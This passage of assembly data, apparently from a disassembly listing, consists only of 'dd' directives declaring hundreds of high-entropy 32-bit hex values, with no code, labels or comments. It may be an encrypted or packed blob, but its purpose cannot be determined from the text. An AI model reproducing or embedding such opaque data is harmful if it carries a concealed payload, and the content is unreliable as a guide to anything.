		dd 80270938h, 1C41E2BAh, 0D0017C5Dh, 5F51081Ch,	0E8A01404h
		dd 397FEF35h, 68DB8549h, 66414FE6h, 0C09FB652h,	133003EDh
		dd 400B5FFFh, 80D8B039h, 0E4B826C6h, 1427B95Ah,	0E68AD582h
		dd 305F791Dh, 0EBC9C5F0h, 9798582Bh, 97C80F88h,	4B4F6880h
		dd 38B6305Bh, 6517B178h, 33ECC709h, 42576882h, 34418772h
		dd 0F0D99842h, 81CB856Eh, 9A2CBEBBh, 5F26711h, 47614909h
		dd 0AE60518Fh, 686C7E7Ch, 0D4AC4B4Ah, 1777E940h, 0A3EA77Dh
		dd 96A31767h, 0EF1900DDh, 816DC872h, 65E3E21Ch,	80BD2C12h
		dd 32B4002h, 760B3167h,	1308441Eh, 861C2F9h, 0BC7D5868h
		dd 0AA18AEE1h, 66C331C0h, 211CC48Fh, 0DEB4FD8Ah, 59C592D2h
		dd 564870BCh, 5858C05Ah, 0A290D101h, 0CC2F6408h, 97E98421h
		dd 0A01123Fh, 313E15FFh, 0E5DF037Fh, 0C78C4504h, 1EA0000Bh
		dd 9F9089ECh, 27F90126h, 570CA10h, 0DBC380D3h, 8CA9C5Ah
		dd 3CBBDAA8h, 18FC5724h, 0DFC77912h, 5F5E1C32h,	0F0F814E1h
		dd 65B11286h, 512F1E26h, 0A7550BC0h, 0B60B59C6h, 856E645Fh
		dd 0CFB40EDEh, 95D1830Ch, 802E8589h, 0E5F3ADEBh, 7A692C4Dh
		dd 0B3544489h, 21E868AFh, 4A0D8B1Bh, 1340E952h,	0DF049241h
		dd 684A607Fh, 66BF2B5Fh, 730E4CC2h, 4F419217h, 86F5C71h
		dd 12491D26h, 0C020E2B0h, 760506C3h, 1658C711h,	66146C25h
		dd 2DE5B28Ch, 6AD311A5h, 0C844E9A6h, 0B74ED6B8h, 98F7D51Ah
		dd 0C0DE29D4h, 7BF0BB38h, 14CA650Ch, 8989A32Fh,	958516D5h
		dd 0F3958670h, 0E1E904AAh, 9235A888h, 0CB5FC3CAh, 544261D2h
		dd 0FF28AEE9h, 0A86DB517h, 66F992D7h, 2DA4C328h, 0D418DB55h
		dd 0EBB6A8AFh, 5324B473h, 0E948028Fh, 4466B59Dh, 3BA7585Bh
		dd 0CB9CE982h, 0BE4A845Ch, 70E32812h, 0A6A84979h, 42D9502Fh
		dd 12C49BBh, 7F7D2AECh,	6442D58h, 0DE2A57F1h, 32E9090Bh
		dd 7A165C08h, 489EFA6Ch, 8B1E5552h, 69E93340h, 47E3D549h
		dd 5DE930C2h, 0E0D5E55Eh, 6880F4A3h, 0CD3C4AD9h, 0CD43F801h
		dd 8E4FD197h, 226759E4h, 9712E25Dh, 6197FA66h, 28C98527h
		dd 6880C662h, 2F8A3DCEh, 4DBA5E07h, 817005B1h, 723196C2h
		dd 2D0CC079h, 2977032Fh, 0EA51F27Eh, 140CA008h,	693CC697h
		dd 170BAFE9h, 0A65F23A3h, 218CD64h, 8B3FB891h, 9CD7897Ah
		dd 405084ABh, 0D290594Fh, 15406F23h, 7F540EB5h,	1E789501h
		dd 0E95E0880h, 0D944B225h, 2BC4CF7Bh, 0DE48A9A8h, 0AB1FA6CCh
		dd 62585AC2h, 0FF70C8FDh, 0F11208B0h, 80BC025Fh, 0BEE0E89Bh
		dd 0E9271E61h, 207760A2h, 0F65912EAh, 0F900BFDAh, 55C580A0h
		dd 3CCD75FEh, 9756FE5h,	5F9E9A5h, 892598E4h, 79E45EEAh
		dd 3F497155h, 0F5C9609h, 0EC814h, 1A15C6BBh, 0D8008945h
		dd 6997355Bh, 90D5520h,	2E9F109Eh, 5C507089h, 5B97DDBCh
		dd 0EB8052BDh, 6C4066C2h, 452D0CC2h, 3FA684D7h,	0CAAF21D4h
		dd 0B91C64BFh, 1507C21Ch, 61F25B51h, 0D10AB9FDh, 0D132E599h
		dd 740C8273h, 0D54D2E8Bh, 0F032C30Bh, 20BA3B5Dh, 813E89B2h
		dd 0D52304F6h, 0EF1095Ch, 1E677C39h, 53A191C2h,	204E3512h
		dd 7C180A19h, 0C6CC3A23h, 50032762h, 8A07D54h, 76926812h
		dd 1B4072A3h, 0D8294F5Eh, 0FC30E971h, 53EA71DEh, 67852C3Bh
		dd 10042DDFh, 2E41C95Ah, 8623F821h, 56BFE004h, 0AB0E70A2h
		dd 5805B1E8h, 98E4D821h, 65FE6027h, 0B8303BC7h,	0F73A2376h
		dd 36EC0497h, 0AA9115E9h, 0B740DE01h, 3FB850D6h, 16A542B1h
		dd 656972C1h, 523C6A65h, 0A2864D9Ah, 0FA78228Bh, 42E2D100h
		dd 3515CA81h, 0EC176041h, 2E3D6C32h, 0C20092BAh, 0CFB75CA5h
		dd 32E9D609h, 0EBB3DC20h, 0B2A0EDDCh, 5EF9A9B5h, 80FA164Eh
		dd 25F2808Ah, 0C2B88095h, 72885315h, 5BF91CD7h,	0FFF11C5Ah
		dd 63D8D1A5h, 685DFF8Ah, 0C0BE80A5h, 0D163510h,	511F26DCh
		dd 0C98999B9h, 0E2E001Bh, 4A63DE1Fh, 8097A441h,	4C564A17h
		dd 2959DF07h, 93FC8999h, 0E9B1C7EAh, 306AFC0Ah,	60E7C9D9h
		dd 0D1563D0Bh, 0C056E1h, 371F7148h, 397ADE9h, 96D0883Fh
		dd 5B5A7546h, 89D387EFh, 0EB62C159h, 42F07C02h,	5E05B833h
		dd 8108FFC1h, 71766C30h, 0BE56022Ch, 147E57DBh,	0C678D858h
		dd 5DA97500h, 28E9F109h, 606481F9h, 575E02E9h, 4D29DF2h
		dd 898F780Fh, 0F7FE0C58h, 3242CA4Fh, 7EDFCBACh,	2C792FA8h
		dd 0EB88524Bh, 4B16C01h, 0CFD26F67h, 0FF125DD0h, 48CFEC5Fh
		dd 71776F0h, 53422CD3h,	0A62AEFC0h, 0A0D6F74Eh,	302F1079h
		dd 30CBBEBh, 4417F28h, 437D8B40h, 0D9E65CC1h, 59C5E019h
		dd 0E829C85Dh, 0F4B862D2h, 0E3327613h, 94C317C3h, 4E6E55E9h
		dd 4A604C60h, 0EB0389AEh, 30DD2D5Dh, 0CB50876Dh, 14312A67h
		dd 705D801h, 0EBF1E91Bh, 34B93093h, 2D5D7384h, 706A25Ah
		dd 0E3C002A6h, 820107DDh, 0B8D9F333h, 4F5AE992h, 7889B286h
		dd 0B0372520h, 4BDD58AAh, 5BC5935Fh, 955F5FAh, 0E46F7616h
		dd 0D560B24h, 3430183Eh, 0EAE225E9h, 135B2E76h,	0F8D2821Ch
		dd 0C3E1C5CAh, 2968BDD8h, 0A59A1486h, 9569A0F0h, 232B53h
		dd 745F78A9h, 49A6BC3Dh, 0C20FF56h, 1A45E917h, 0E9B043BDh
		dd 57D7D68Ch, 0B66882D1h, 82E4372Bh, 1857546Ch,	1D7F85F4h
		dd 5BD7B1Fh, 0C584E080h, 2D84C58Fh, 12883ABBh, 6D949F5Bh
		dd 252B9E9Dh, 30A5B3E9h
		dd 0DD20AFE1h, 0E6E68146h, 3E863B70h, 603FEE2Ch, 7DCFC3C6h
		dd 0F201C105h, 0D4532DE9h, 1958AF01h, 22707A05h, 3730D795h
		dd 27D3B205h, 88E25604h, 1680F296h, 0ECACCA21h,	8364EEF4h
		dd 4BA706C0h, 586548FCh, 9CC8352Dh, 66BF6F68h, 27BDA01Bh
		dd 4E3C0BC4h, 0BE4076E9h, 265E67BBh, 0DB34AFC1h, 6F106D7Ah
		dd 0E913218Ah, 908F534Ch, 0AA221B74h, 0C3EE38C1h, 8BE6AD05h
		dd 0FA7CD6C7h, 927BEB57h, 0A29CD708h, 204BEC9Dh, 667C38D9h
		dd 82E83278h, 0D352BCD2h, 0BD687002h, 0FA284603h, 77F7FECEh
		dd 58FE948Bh, 2F86B850h, 82674084h, 0A501F625h,	527A2AF9h
		dd 3FEA0BF8h, 0B2004970h, 590B03C2h, 6001413Bh,	5B1AD97Ah
		dd 0E0C10742h, 109F0502h, 0C22937ECh, 0F9BEED98h, 0D2E16C2Dh
		dd 0A74DF8C8h, 18CD1805h, 0F34EC929h, 795C8B5Ah, 0D5599810h
		dd 416FC068h, 3D45C84Fh, 1516AA19h, 7AB82C96h, 0BA625C26h
		dd 0FBE7FC2h, 2D4CC097h, 0B7257EEDh, 0E080F407h, 17B36D54h
		dd 7B0909B0h, 4CAE10h, 61A9631Ah, 43E9191Dh, 2B5C5C09h
		dd 572D1ECAh, 0E984537Bh, 21ABBD88h, 2AF71D0Ah,	6EA92AC0h
		dd 0C4B604Dh, 44C301DDh, 792037B8h, 92AB0B2h, 298D1836h
		dd 312C825Dh, 9D96F8F5h, 0E9130E5Ah, 0E223B0E3h, 5AD791EAh
		dd 5D3FC22Bh, 0B4F7A8CAh, 14EE20EFh, 5D9960B7h,	784E9F10h
		dd 28611095h, 525826C3h, 0DB4188EFh, 676E4C2Eh,	0BE402C2h
		dd 291B78B8h, 1DD121F5h, 5A1487EFh, 0C582EB88h,	2007C42Ch
		dd 60B7F93Ch, 27BD7829h, 3CD81D3Dh, 2A122D04h, 1FAE04D0h
		dd 0C9404203h, 8580896Eh, 0FE9E821h, 3CB363B2h,	27797BAFh
		dd 0E0E91C7Bh, 0BFB6E98Ah, 99545D04h, 19526F40h, 0EA007A2Dh
		dd 0EBE76541h, 16AEF7F0h, 0F2506E3Ch, 20292605h, 0E7060A28h
		dd 7BC422E8h, 1C5D0B2Ah, 0F55C0F7Ch, 6BC1A80Eh,	9F944088h
		dd 4E319213h, 425744FEh, 0C1C51C80h, 8F0020BEh,	3403E0C0h
		dd 90284ABDh, 0B7E95548h, 25F047BAh, 2C74E8E0h,	5E596626h
		dd 58A779AFh, 3E5AB8E9h, 0ED007AB6h, 27442AD7h,	0CAF1C501h
		dd 0E580886h, 2C2F91BDh, 0F358CD02h, 68272590h,	31BD7AF4h
		dd 0CD19E34Dh, 3C964159h, 0E5303A0Eh, 0B86674EFh, 3BA6FC64h
		dd 0ED590126h, 0DE0FB23Dh, 4592E95Fh, 0FCD831ABh, 40AC4AE0h
		dd 21C15CF2h, 0E1253A35h, 5D873EA9h, 0B877398Fh, 0D77F8A2Fh
		dd 9EF0BD60h, 0E10F17B4h, 25378445h, 3076C1BEh,	0ABCC6B11h
		dd 0E78F69DEh, 99268E7Ch, 5ECCE9D8h, 94ABA3D9h,	0BF3620D2h
		dd 0AF3B6731h, 0B60ED989h, 0B1941784h, 84E40F4Bh, 2EDA515h
		dd 11DF66C9h, 3989147Ch, 337E5468h, 0C88297C5h,	6352D634h
		dd 74E3F381h, 37E91813h, 3E0560B0h, 0F854FACh, 0C2DF001h
		dd 0E93D5E07h, 58CB9765h, 71578B85h, 0E5A73EBCh, 592A900Dh
		dd 364A7C68h, 66034E3h,	5EFD1AE5h, 2934297h, 70B2E907h
		dd 132C2E1Eh, 8C4A3CECh, 23092E18h, 804973E1h, 0B51C9F70h
		dd 7C314C11h, 0E5D3012Fh, 89D0290Fh, 4CA329D7h,	4E70F823h
		dd 0F68F9040h, 1F4B6B3Dh, 16014EBDh, 0E971C72Dh, 0B135821Ch
		dd 0C0E18021h, 82BB9B97h, 402D0ED6h, 2926512Ch,	0B931025h
		dd 0FF729AEBh, 0E7D1C304h, 68023152h, 1279334Ah, 50BEA9Eh
		dd 0FB0A2036h, 0B0174E1Ch, 26E27CD6h, 50DAF7h, 1F733CCDh
		dd 0D997FA29h, 0D2F78B95h, 97BAFF00h, 29125B02h, 0FAF05AD6h
		dd 1B472014h, 8824F90h,	2150B25Ch, 0D1E5B5F9h, 0E402F027h
		dd 75B45A1Bh, 0F539EA70h, 1323AC70h, 0F2728F36h, 150435D0h
		dd 61D7D282h, 0C1049883h, 0DFDE1Ch, 3DF9E668h, 3E1B9739h
		dd 66018317h, 4D23F581h, 0CDD80C6Fh, 0FF7D17C8h, 4051C046h
		dd 1163A655h, 0B2D7499Eh, 5DA3E1C2h, 6D21178h, 0BD037E1Fh
		dd 2D11C104h, 27F0EB5Dh, 7266B5E6h, 5920EEB0h, 92CBFC64h
		dd 40BA0648h, 0D26B9E07h, 0EA546317h, 99842404h, 0E719AEADh
		dd 2429BAAEh, 5909CF48h, 0F902C783h, 4BB2A7C1h,	49A8E445h
		dd 8F27323Eh, 0DCEED101h, 6C385482h, 7A645D35h,	0A4C0C600h
		dd 0F30134C2h, 85824BE9h, 231647h, 0F61D1F9h, 0AA0BBA23h
		dd 0A26560C6h, 5AC1FF6h, 0FE6E8CBEh, 504E8948h,	70123613h
		dd 5AE4CA4Bh, 7D7602C3h, 25E94DF5h, 4C2F5856h, 0D8D083D9h
		dd 9D2E9109h, 8F208658h, 49BAC39Bh, 2999E65Bh, 0E27F20F1h
		dd 7D30034Ah, 0C07AFDh,	5FE58142h, 0F7552D04h, 102D7898h
		dd 49851A90h, 817E3B79h, 57C9D3Fh, 6A7BF5E3h, 40461792h
		dd 729A3A9Bh, 0B9FBE32h, 1904131h, 5E7AE62Ah, 4AA270C8h
		dd 0A59EEC2Bh, 36C4E6B7h, 82580B09h, 4CB48FEh, 0C039BB5Dh
		dd 212A2731h, 3B98C85h,	100285BAh, 0F90A8BDAh, 0F9D649CAh
		dd 515FA819h, 3515B73Eh, 0CD839683h, 0E1A7042Eh, 0AB864A0Bh
		dd 6219E100h, 2D415AB2h, 0D70D1F7h, 0BEC4C5B5h,	512F40F7h
		dd 0E288521Ch, 0FC14D197h, 0B0D24C6Ah, 9C66FD30h, 29446C83h
		dd 1F848B5h, 4E5279FBh,	0F173408Ah, 730B2DB1h, 860AC890h
		dd 879014BDh, 6693BA24h, 0EF5808D6h, 2815228h, 847B9EE9h
		dd 13D2E749h, 0C766BCC7h, 2CE9FA5Fh, 435434B3h,	1731DC18h
		dd 0FB873982h, 2D208160h, 9A603B5Eh, 0A7161AD7h, 0FAD0314Bh
		dd 3C5008E4h, 0B6D0F76Bh, 5B8CF8FCh, 0E107002Ch, 7D47AE4h
		dd 62E910C2h, 0EFD4593Ah, 808644EAh, 8007ECC0h,	6CF05F4h
		dd 0ABB6C96Ah, 3C2E5C22h, 0CCCB5513h, 0E8B297ADh, 6933D197h
		dd 5E8282EAh, 4664D2ABh, 97C2B24Ah, 4B907D31h, 0A9831729h
		dd 2B807AFEh, 37278668h, 8DF85D1Ch, 5318CF9Eh, 3A48BBF0h
		dd 0FA003891h, 813D0C7Fh, 16195BE3h, 950721Ah, 7E7B5C03h
		dd 0FAD8E4Eh, 0C8D6A7DCh, 1275C446h, 0F3195068h, 7D6F1BF6h
		dd 6065E71Ah, 572660BCh, 48893884h, 4F011F95h, 411D3D1Ah
		dd 0A106FFh, 31347ABBh,	323A2EC1h, 0D1616F2Dh, 0CA2F3C27h
		dd 7E61209h, 63418FAh, 0CA4AE905h, 0D7F7CB04h, 2C7E2380h
		dd 0A10F4A37h, 18E3E7B1h, 2A3F44F1h, 9375A94Eh,	9E6ABDA4h
		dd 0C4680576h, 95B04614h, 0AB21ED7Eh, 9A59AD60h, 2FF6E9C3h
		dd 0F08458D3h, 0B09EE7Bh, 70F5CC1h, 0E59EA28h, 324E879h
		dd 698B157h, 287E7A49h,	0ECA054AFh, 0AA83F19Eh,	9CC3AB01h
		dd 442A969Fh, 9235F979h, 0C4F51F12h, 2F12C578h,	0D0A7ADEEh
		dd 0C9F825C4h, 0E12BCD90h, 689D85DBh, 4D2161CBh, 0E92865E9h
		dd 27EC800Eh, 6B9EB66h,	0EA602B64h, 89256805h, 7A757A1Ah
		dd 27DE39FFh, 9EB15E67h, 2646130h, 0B20FBD1Dh, 0F7D1E29Bh
		dd 40B9E909h, 4BEAC0AEh, 700F206h, 7BB25272h, 0F68DC260h
		dd 0C9E925DAh, 14F5B142h, 0BE681396h, 1012E32Ch, 5558EB57h
		dd 0BA0D3107h, 4E8E5C8h, 49166CAh, 27FF5753h, 0E2FBF799h
		dd 8E7C7FD2h, 4A636841h, 0EF99AE2Ch, 6007C082h,	332B3095h
		dd 0D62C8089h, 7FB15113h, 1328E608h, 940D005Fh,	0C12C6970h
		dd 7C02E530h, 251041Eh,	5FFD2120h, 5240D5F7h, 0A27B1E8h
		dd 0BD555678h, 0B805B420h, 2554422Fh, 2994F584h, 8BB39CAAh
		dd 7757CE40h, 0CB705959h, 7EE55A27h, 2066CC2Dh,	0E917726Eh
		dd 51A42FA1h, 25C1E70h,	0A14ED711h, 778F2BDBh, 0DF895702h
		dd 0D2AA53E9h, 769DA8A7h, 968CDDE8h, 9452A9C2h,	99D44F6Dh
		dd 4B5ADDB0h, 0BEC164EAh, 75C93985h, 0B00F7968h, 0A418556Eh
		dd 8613135Fh, 9AE92D01h, 0D43B3B51h, 980FBA7h, 0A882FAE9h
		dd 0B055E7ECh, 0C9CE4F77h
		dd 0BF43A3Eh, 1F67BCFCh, 8C6B1768h, 0E5F3D62h, 0C9E4008Dh
		dd 663E2751h, 7C705FFCh, 0D5A50927h, 6AC8F989h,	0B380A23Dh
		dd 0DD082C37h, 0E5C00EB0h, 33760ED2h, 1907E2C4h, 8F31FE04h
		dd 0D526B03Ah, 5FB1DB0h, 34CC44FFh, 63C7AF32h, 0E6A496E4h
		dd 0E4335448h, 0CCF15AF2h, 2498565Fh, 0F78AA0B5h, 765859F8h
		dd 2FCF0030h, 0E971E00Eh, 22DCDD88h, 8766CB09h,	0E307E485h
		dd 2C595863h, 7A52B10h,	5FD4F605h, 0F5F065FDh, 0A08DE820h
		dd 807A7C43h, 0A50F6852h, 666D0A26h, 9F17A1E4h,	0FBFEB2A9h
		dd 21D5C382h, 1CED58A5h, 4505E0C1h, 0C11D407Ch,	88ADF868h
		dd 88641EE1h, 1177ED4h,	22BF1213h, 0CA772D87h, 200A5AFEh
		dd 0C2A0B5F0h, 8C1752C0h, 5FE9054Fh, 5DCA0750h,	0BB27C00Ch
		dd 897D936Ah, 97F94617h, 144EAC93h, 8113F7F9h, 0B02AEEFh
		dd 59F82150h, 18E862E8h, 7D3BE055h, 0DAB48658h,	95960D6Ch
		dd 3E203550h, 0A4F65A03h, 7650E169h, 715A2C63h,	0FCF5D1A0h
		dd 17C93B29h, 45D3E50Fh, 7B811449h, 0DA80408Ch,	0FEBE9585h
		dd 0F6E24D34h, 8C31FBD3h, 417EBDE9h, 78B4F5FBh,	0EAB442ECh
		dd 7F061AD5h, 0BB204A96h, 0EA9AC090h, 0AE9F379Ah, 5EF23105h
		dd 99ACD121h, 9E9C1C7h,	38F211D2h, 9C615581h, 0C374E801h
		dd 6858202Ah, 45956282h, 0CBE90D5Bh, 0C36B30C5h, 9BB0640h
		dd 0CE13EF0Eh, 0A4320FD5h, 0C9AE075Ch, 7B5A78CFh, 0A5DC192Ch
		dd 0D42A4252h, 58F3A886h, 5DC4811Dh, 8BB9F95Eh,	9DA65A5Fh
		dd 80D97661h, 4171EB51h, 0C4310BAAh, 0B29C8E1Ah, 7C9D4290h
		dd 54181B2Dh, 54B360E6h, 4B907051h, 34D53F32h, 0EBF660B5h
		dd 1E06D359h, 9F963FD3h, 2C83FD12h, 0EE685273h,	879515Ah
		dd 0BE01DD92h, 68C57E5Ch, 2C8BD0C4h, 1335997Fh,	4F26E85Bh
		dd 0E98513B7h, 2549FE43h, 0D89A005Fh, 0FA618E79h, 0D0E34AE2h
		dd 0CD8107CFh, 545C690Bh, 122AF071h, 77B07Eh, 6BCB7C2Ch
		dd 729D21C9h, 456A0F41h, 0F3E02A24h, 9C4FCED9h,	0F29CE698h
		dd 0F64CF2A8h, 0B1DD8432h, 0FAEAD104h, 288694D4h, 94C5FE04h
		dd 8CD5992Dh, 0FC748608h, 0F5CEBDAFh, 1F9913Bh,	0D71060E9h
		dd 568B7DA5h, 53C2D654h, 0DB680709h, 88F5511Ch,	0F8259330h
		dd 4E4B74DBh, 816BAC27h, 7E236808h, 85482923h, 8EF82D41h
		dd 577B973Dh, 19AEE904h, 8704C412h, 0B37A2CCh, 50E7417Eh
		dd 0FAD7A7C4h, 58311169h, 0C67323Ah, 0B4018324h, 0DAC48045h
		dd 2CFAB161h, 65F3977Dh, 25A1B279h, 6EF6060Dh, 5B09E9F0h
		dd 4CDBB313h, 80F60718h, 0DAF42EECh, 285C61D0h,	7F6813D8h
		dd 0D72FBC55h, 78E8D82h, 12F87F5Bh, 0D291A4C7h,	9E94FD49h
		dd 7451E917h, 76849340h, 481E3Dh, 2ED32B05h, 7485E927h
		dd 9D0F669Dh, 0BDEDEB2h, 7D3412CBh, 2CE99A21h, 2B402AF5h
		dd 26845C29h, 7E10981h,	0B87215Fh, 0B2C4F9E9h, 0DE58BA09h
		dd 0E890537h, 0B94B24EFh, 0F19497ABh, 8B5BB9B8h, 963A4CA7h
		dd 0FDE98142h, 8994F11Bh, 0E0FC9130h, 2F686650h, 33424229h
		dd 50C12D54h, 0E13A91B0h, 0C2DF7C03h, 0E3F655B5h, 949F635h
		dd 64276896h, 0A179571Ah, 0A1A67F32h, 7FEA80CEh, 0C4AF4DE0h
		dd 0DC555A10h, 174CF319h, 269A8BD3h, 0B4681DDh,	317A51A3h
		dd 0CD964F84h, 0CBB5ECF9h, 0C14793C6h, 11CE0233h, 4605A00Eh
		dd 7177D560h, 23BFA2Dh,	0DFB934C6h, 0E9090C95h,	560FA590h
		dd 803A03B1h, 0D32D0AC4h, 0EBA0F19h, 0E56A290Bh, 1981412Eh
		dd 0F6347E9Dh, 602D0292h, 0B4500F25h, 0A15A9386h, 0E0B62F2Fh
		dd 20F80C20h, 31F9DB97h, 63B0F919h, 58882FD2h, 216D326Dh
		dd 1FE0F3BFh, 2F62AFCh,	5860049Fh, 0F9964CF3h, 5FF438AFh
		dd 0F624CBE6h, 0D770A7AFh, 6817DBEEh, 49314234h, 0A69223B4h
		dd 38BAB4C5h, 0B20531Eh, 21DA80C9h, 1DD468E0h, 0DC5B5533h
		dd 26B55C9Ah, 9735A952h, 0E9049051h, 9DBA0DDCh,	0EFADEC1Ah
		dd 99F81A6h, 1B3B0480h,	0F78F3DA8h, 2D325129h, 3388287Eh
		dd 0B072607h, 2A82C23Bh, 9CFF8048h, 0A5319D59h,	0C7EC5420h
		dd 950FD142h, 6EA12F86h, 14138868h, 4872A28Bh, 20E10701h
		dd 0CF941D23h, 1C6BCBABh, 0F0985EFh, 9AF8006Fh,	6207654h
		dd 0E6C1DEF7h, 0E9150A04h, 786E1660h, 4E120A5Dh, 0B428542Ch
		dd 84E27ABh, 1D24537Eh,	6E42FB1Fh, 20F56610h, 9571C7h
		dd 8B1A37FFh, 0C8628A7Ah, 8016DB79h, 0F74B0A42h, 0AB8580D3h
		dd 96DA09E6h, 0CE5327F4h, 821FB583h, 0BCF48D29h, 4B19BD90h
		dd 5B7B808Ah, 4BF66852h, 5A462882h, 69F307BDh, 0D4E94FBBh
		dd 8799EF2Ch, 0B9E283E8h, 9DB6AA95h, 77A0F440h,	3C586680h
		dd 0D3A5D928h, 0AB5E3484h, 5124168Bh, 0D1CB420Fh, 0F00D2E4Ch
		dd 28C1215Eh, 4BCBB73Fh, 0ADC66EFDh, 2D07659Dh,	28761018h
		dd 854EDB50h, 0F0C4D6CEh, 254BB001h, 8003F0E9h,	0D9F6ABC9h
		dd 300E90AFh, 510359C8h, 0BAE922B1h, 0B2C95BF0h, 70F21058h
		dd 0BED697Fh, 0E1E349BBh, 804E194Ch, 51464C0Eh,	5DDC012Dh
		dd 0F0292E5Eh, 0B0074605h, 67229A00h, 0E9525323h, 0A8974A84h
		dd 0B2C7A740h, 0C50BA3D9h, 70EA82D5h, 97A3FCD9h, 5CE4DD7Bh
		dd 0F77181FAh, 50A96DFh, 82E414ABh, 493A2570h, 2A5F7341h
		dd 52876B16h, 0FDF15855h, 0A183FD3h, 5BE6C02Ah,	4F8ACB01h
		dd 444F4BB2h, 0BF129A6Ah, 1E129EDBh, 1F61B2B3h,	4D9C18B1h
		dd 922CC80Eh, 67ACFB12h, 48869D5Ah, 724123C7h, 0B0C79330h
		dd 826838FDh, 8F402BCCh, 0B9D94A35h, 7FF7DEE0h,	60D8F702h
		dd 3E7B1A15h, 4BAE208Fh, 4D5F8904h, 6B60F100h, 26C26A85h
		dd 0C03F50E6h, 9D07F482h, 2962327h, 0DF60F68h, 15129C24h
		dd 93D02AF8h, 60EC8FB2h, 6374B881h, 66B31CA9h, 4B39D81Fh
		dd 352EF4E1h, 0D4B008CCh, 5D4D6805h, 9D570A8Ch,	5F77CCC4h
		dd 9F059192h, 583F2C46h, 58BAEC2h, 3D3C810Fh, 570374ABh
		dd 3685502h, 5C2BEE0Eh,	0AE7458D0h, 7BB1B3ABh, 0FBAF89A9h
		dd 0A842805Fh, 796A806Bh, 0A0C3F001h, 970B8B08h, 0E985D959h
		dd 0BEC89641h, 0CB5C129Dh, 6C5A0014h, 5133CDD6h, 0C048E912h
		dd 78F9AD49h, 8BBB9DA4h, 3FDF8ED9h, 635DA622h, 0C6FA49h
		dd 0FEC0E580h, 754BCD5Ch, 169F03EEh, 92A125F7h,	2E68A610h
		dd 6CCA6A17h, 35DF101h,	3C70A235h, 0B5DFE4C3h, 0C46BF459h
		dd 0FE3E202Dh, 98EC294Ah, 1FF81884h, 0A6ED7CCh,	6D6EBD50h
		dd 208BC59Fh, 45DE41F0h, 0B6E7F4A3h, 0FBBC6E4Eh, 9737C4A7h
		dd 6EA552D0h, 2490A446h, 7181A725h, 0A043886Ah,	5EADC82Ch
		dd 0AB0C351Eh, 0C6E92DD0h, 0E0E2949Eh, 2F736856h, 9437C925h
		dd 0EB1DBCB0h, 3100C87Eh, 0E9747A34h, 0BF519EB3h, 0E6CF63D8h
		dd 2F6809D0h, 6536566Bh, 5F58D3F9h, 105FB7B2h, 722C028Ah
		dd 0EA187C43h, 4F3FC0CDh, 5A1FF06Bh, 3901FB90h,	5976B767h
		dd 4B1D1F7h, 0E97A5B76h, 3C084079h, 3B2EC24Dh, 823CDE21h
		dd 942905E2h, 74687551h, 86E2FBF2h, 0D189BA12h,	27E9DF2Ch
		dd 0E9F922ECh, 44DB5C69h, 2BD1E1E4h, 0A85AFCCFh, 24EEB5ADh
		dd 1818B78Dh, 0F74FB190h, 5BB3F28Ch, 4F27A931h,	6F6235F1h
		dd 26F48FC9h, 5028A73h,	2241AA59h, 585B2B0Fh, 0D5ABC5DBh
		dd 0A7F409BBh, 27E69029h, 76F82931h, 0F63258C5h, 0E8E9F613h
		dd 1CC25DCh, 283868D4h,	6B628F6Bh, 8027C084h, 2CD73C7h
		dd 5F2CFAF7h, 8989F828h, 0F9659B48h, 0B8F5F9C0h, 0F6B92EDAh
		dd 3FBC6089h, 0D888B4EBh
		dd 17B25B09h, 28A90230h, 40C97FD3h, 0B82EC23Bh,	1351DB10h
		dd 44C0DCB5h, 0EECAF1D5h, 2A6890C8h, 4BF14B6Ch,	590E0257h
		dd 0DD80C729h, 7ABC165Eh, 0C31324B3h, 0B824508h, 0E57E888h
		dd 8BBB28Ch, 5B1B2051h,	7FB2C12Dh, 4B5AD5C0h, 0BE039428h
		dd 975CD788h, 0B8E21051h, 0E494FF6Ch, 57829071h, 0DB5C6290h
		dd 64FD5381h, 84ACB42Eh, 43CB193h, 73E24935h, 24B4FDF8h
		dd 0CD25EA31h, 2EBB8152h, 4B7C5CC6h, 2768916Ch,	289258DBh
		dd 61015474h, 0ED8149A2h, 0A04B402Dh, 0BE055662h, 75F36839h
		dd 0DD3A5CBFh, 3D2801B0h, 89AC5FE9h, 982E35E9h,	0FED788EFh
		dd 1EE16072h, 2EAC05Bh,	2AF721E7h, 0B8339DE1h, 0F9EBCD4Fh
		dd 0AA823F8Dh, 8696FD01h, 2C08313h, 4B4846CAh, 792AC44Eh
		dd 49617A93h, 3F23BB58h, 0A79D3078h, 607C61CDh,	0F6B9375Ah
		dd 6521FA93h, 0E03F474Fh, 22135AFDh, 6D0119ECh,	70504426h
		dd 5C150C84h, 8B14811Ch, 662D00D3h, 0D110E18h, 2B60D0F7h
		dd 5679B1Bh, 337C8C04h,	36F30155h, 2E59DC54h, 8C43861h
		dd 5716BF6Bh, 0EE052E04h, 2E55DE18h, 5B12D51Fh,	8C552D17h
		dd 525A1DCBh, 77CEC65Dh, 0EBA8F238h, 0BF6B5014h, 0A6AD0BDEh
		dd 6853D198h, 0FC787420h, 1DA295AAh, 6D7F4DA0h,	0BE531633h
		dd 85FEAB0Bh, 13AFF105h, 7968EF67h, 6024985Ah, 0CEC9C570h
		dd 3C5E231Ah, 750611C6h, 0EDA22503h, 110C2DF3h,	69849B54h
		dd 1F581CF4h, 5C24DB4Bh, 7F099004h, 0F61AB201h,	84020D2h
		dd 0E56034F8h, 2365EE75h, 127AE36Bh, 7F0BDDBh, 6D99747Bh
		dd 0E2D65196h, 9812F02Fh, 6C600CCFh, 0D80D3F30h, 0E91BCF09h
		dd 1787097h, 4C2673BDh,	0F028290Eh, 0FE9C2CDCh,	0A787E153h
		dd 11E08F4Dh, 0CD95C0ADh, 6FF14BBEh, 0FB09B998h, 0DC7FF74Fh
		dd 4BE52947h, 9246C0A2h, 4956BD00h, 0DD404878h,	0E9F40325h
		dd 0B044EBAh, 3109FD1Ah, 5DFEB582h, 0E66336F4h,	856B9766h
		dd 6AD4D8A6h, 1353DBBFh, 38FDBA88h, 0B19800D2h,	28F32C9Fh
		dd 2BE9C879h, 0D8EC4E99h, 96B32C53h, 0B9091607h, 69E91337h
		dd 1D80DA5h, 37299DB2h,	0D0B57E50h, 0C149F34h, 0B3A650B5h
		dd 18418BC9h, 2DA7BF5Bh, 708843EDh, 0B801CF71h,	3C5F01CDh
		dd 84542561h, 92418BEFh, 0BCADE753h, 0FF336850h, 9B20405h
		dd 0B86605E0h, 896A04AEh, 7E8BBAC3h, 60EDD810h,	0A21D5D66h
		dd 0B213F6DAh, 0D7F72EE0h, 9D780B41h, 907AC68h,	0F67E3625h
